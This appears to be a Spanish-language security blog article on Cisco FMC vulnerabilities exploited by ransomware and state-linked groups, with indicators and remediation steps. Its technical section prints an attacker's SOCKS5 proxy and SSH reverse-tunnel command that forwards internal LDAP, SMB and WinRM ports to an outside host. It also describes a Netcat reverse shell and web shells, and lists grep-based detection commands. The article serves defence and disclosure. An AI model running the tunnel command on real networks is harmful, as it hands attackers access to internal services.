Introducción

Un firewall gestionado que debería ser la línea de defensa perimetral se convirtió en el punto de partida de una campaña de intrusión que cruzó redes internas, exfiltró credenciales de Active Directory y terminó en cifrado de endpoints con ransomware. Cisco Talos publicó un análisis forense que detalla cómo tres grupos distintos —dos criminales y uno estatal— aprovecharon dos vulnerabilidades en Cisco Secure Firewall Management Center (FMC) para comprometer infraestructura de red en múltiples organizaciones. No se trata de una hipótesis teórica: los hotfixes ya están disponibles, los IoCs están documentados y la ventana de exposición para equipos que aún no parchearon sigue abierta.

El problema concreto para un equipo de infraestructura es que el FMC gestiona políticas de firewall, reglas de acceso y topología de red completa. Un atacante con acceso root en ese dispositivo no necesita «hackear» la red: ya la tiene mapeada, con credenciales LDAP, Kerberos y SMB reenviadas a través de un proxy. El impacto escala de un dispositivo a toda la organización en minutos.

Qué ocurrió

Cisco Talos identificó tres clusters de actividad post-compromiso en instancias FMC, rastreados como UAT-12197, UAT-11823 y UAT-11988. Dos de ellos están atribuidos con alta confianza a Qilin ransomware affiliates y al APT Sandworm (vinculado al GRU ruso). El tercero, UAT-12197, mantiene un modus operandi que apunta a un actor de amenazas aún no atribuido públicamente.

CVE-2026-20079 es una vulnerabilidad de bypass de autenticación con CVSS 10.0 que permite a un atacante remoto, sin credenciales, ejecutar scripts como root en el FMC. CVE-2026-20316 tiene un CVSS 5.3 y habilita el inicio de sesión con credenciales estáticas de una cuenta de bajo privilegio. Cisco clasificó esta segunda como severidad Alta porque, encadenada con otras debilidades del FMC, permite escalar a privilegios administrativos. Talos confirmó que UAT-11823 explotó ambas en secuencia, utilizando el mecanismo de archivo license.tmp como pivote entre las dos.

Los tres clusters desplegaron técnicas de persistencia y lateralización que van desde web shells JSP en el Tomcat de Cisco Security Manager hasta variantes de Cyclops Blink, el malware modular de Linux que Sandworm ya había utilizado en campañas previas.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

El FMC no es un endpoint más: centraliza la gestión de dispositivos ASA, Firepower Threat Defense (FTD) y en algunos despliegues, políticas de acceso a entornos cloud a través de firewalls virtuales. Un compromiso a nivel root del FMC implica que el atacante puede modificar reglas de firewall para abrir accesos, exfiltrar configuración de managed devices y navegar la red interna con credenciales legítimas.

Para equipos de seguridad, el caso UAT-11988 es particularmente ilustrativo del riesgo operativo: los atacantes recolectaron hostnames, IPs, listados de directorios, credenciales de service accounts de Active Directory, credenciales MySQL, información de cuentas de dominio y mapeos hostname-IP de servidores internos. Todo esto se staging en archivos públicos en el propio FMC comprometido y se descargaba con HTTP GET. Un solo dispositivo FMC comprometido reveló la topología completa de la red corporativa.

La presencia de proxies SOCKS5 en Python y túneles SSH inversos con reenvío de puertos LDAP, LDAPS, Kerberos, SMB, NetBIOS y WinRM convierte al FMC en un bridge permanente hacia servicios de directorio y gestión de endpoints. Para arquitecturas híbridas con conectividad a AWS VPCs o Azure VNets vía Site-to-Site VPN, el compromiso del FMC expone también los túneles de conectividad cloud.

Detalles técnicos

CVE-2026-20079 (CVSS 10.0, Authentication Bypass → RCE as root):

El vector de ataque es una solicitud HTTP autenticada de forma incorrecta que el FMC procesa como si viniera de una sesión válida. El resultado es ejecución de código en contexto root sin necesidad de credenciales. UAT-12197 explotó esta vulnerabilidad para desplegar una web shell JSP en el webroot de Tomcat (Cisco Security Manager) y luego instalar un JAR malicioso llamado cmd.jar que permitía ejecutar comandos arbitrarios y consultar bases de datos internas para robar datos de autenticación.

CVE-2026-20316 (CVSS 5.3, Static Credential → Privilege Escalation):

Permite autenticarse con credenciales estáticas de una cuenta de bajo privilegio. UAT-11988 la usó como punto de entrada inicial para luego abusar de herramientas legítimas del FMC (CLI, scripts internos) y realizar reconocimiento de red.

Técnicas de persistencia documentadas:

  • UAT-11823 modificó el archivo /var/tmp/license.tmp para establecer una reverse shell basada en Netcat hacia infraestructura C2. La ejecución se disparó como root mediante la utilidad legítima package_info.pl de Cisco.
  • UAT-11988 desplegó un proxy SOCKS5 en Python y un túnel SSH inverso:

# Técnica documentada por Talos (UAT-11988)
python3 socks5_proxy.py –listen 0.0.0.0:1080 –user svc_account &
ssh -o StrictHostKeyChecking=no -R 389:dc01.corp:389 -R 443:dc01.corp:443 \
-R 445:fileserver:445 -R 5985:admin-host:5985 \
[email protected] -N -f

  • UAT-11823 desplegó una variante de Cyclops Blink: backdoor modular en Linux con capacidad de persistencia, robo de credenciales y sniffing de tráfico de red.

IoCs confirmados por Talos:

  • /var/tmp/license.tmp (modificado con payload de reverse shell)
  • cmd.jar en Tomcat webroot (UAT-12197)
  • Web shells JSP en directorios de Cisco Security Manager
  • Herramientas post-explotación: Impacket, Invoke-TheHash, EDR killers custom

Qué deberían hacer los administradores y equipos técnicos

Inmediato (próximas 24-48 horas):

  • Aplicar los hotfixes de Cisco para CVE-2026-20079 y CVE-2026-20316 en todos los FMC. Desde la interfaz de gestión: Firmware Management > Apply Hotfix. Verificar que el FMC no esté expuesto al internet público: si el puerto 443/830 está accesible desde WAN, el riesgo es crítico hasta aplicar el parche.
  • Revisar la integridad de /var/tmp/license.tmp en cada FMC. Un hash o timestamp alterado respecto al baseline indica compromiso. Ejecutar:
  • # Verificar integridad del archivo de licencia en FMC
    ls -la /var/tmp/license.tmp
    md5sum /var/tmp/license.tmp
    # Comparar contra el hash conocido del firmware instalado

  • Auditar procesos y conexiones de red en el FMC buscando proxies SOCKS5, túneles SSH no autorizados y procesos de Python no esperados:
  • ss -tlnp | grep -E ‘1080|4444|443’
    ps aux | grep -E ‘python|nc |netcat|ssh -R’
    find / -name «cmd.jar» -o -name «*.jsp» -newer /etc/cisco-release 2>/dev/null

    Corto plazo (esta semana):

  • Rotar todas las credenciales de service accounts, cuentas de Active Directory, credenciales MySQL y certificados que el FMC tenía acceso a. Si el FMC gestionaba políticas de acceso a VPCs en AWS o VNets en Azure, regenerar las claves de los túneles Site-to-Site.
  • Revisar logs de Cisco Security Manager y Tomcat buscando solicitudes HTTP anómalas al webroot, especialmente archivos .jsp y .jar que no correspondan a componentes legítimos.
  • Aplicar la actualización de hardening integral que Cisco publicó la semana posterior a los hotfixes, que incluye parches para vulnerabilidades adicionales en el FMC.
  • Mediano plazo:

  • Restringir el acceso al FMC a una red de gestión dedicada (management VLAN) con ACLs estrictas. Si la arquitectura lo permite, ubicar el FMC detrás de un bastión host con MFA obligatorio.
  • Monitorear activamente con los IoCs de Talos: license.tmp alterado, conexiones salientes a IPs C2, procesos package_info.pl con argumentos anómalos, y presencia de archivos cmd.jar o web shells JSP en directorios no esperados.
  • Conclusión

    El caso del FMC demuestra que la superficie de ataque de un dispositivo de gestión centralizada es proporcional a la confianza que la red deposita en él. Tres actores con motivaciones distintas —un ransomware gang, un APT estatal y un grupo sin atribuir— convergieron sobre las mismas dos vulnerabilidades en el mismo producto. La velocidad de explotación fue alta: desde la divulgación en julio hasta la documentación de despliegue de Qilin y Cyclops Blink, el ciclo completo tomó semanas. Para equipos que gestionan firewalls Cisco en entornos productivos, la pregunta no es si parchear, sino cuánto tiempo puede tolerar la organización un FMC sin el hotfix aplicado. Con un CVSS 10.0 y un exploit confirmado en producción, la respuesta es: días, no semanas.

    Fuentes

    • https://www.bleepingcomputer.com/news/security/cisco-fmc-flaws-exploited-by-ransomware-gang-state-sponsored-hackers/

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *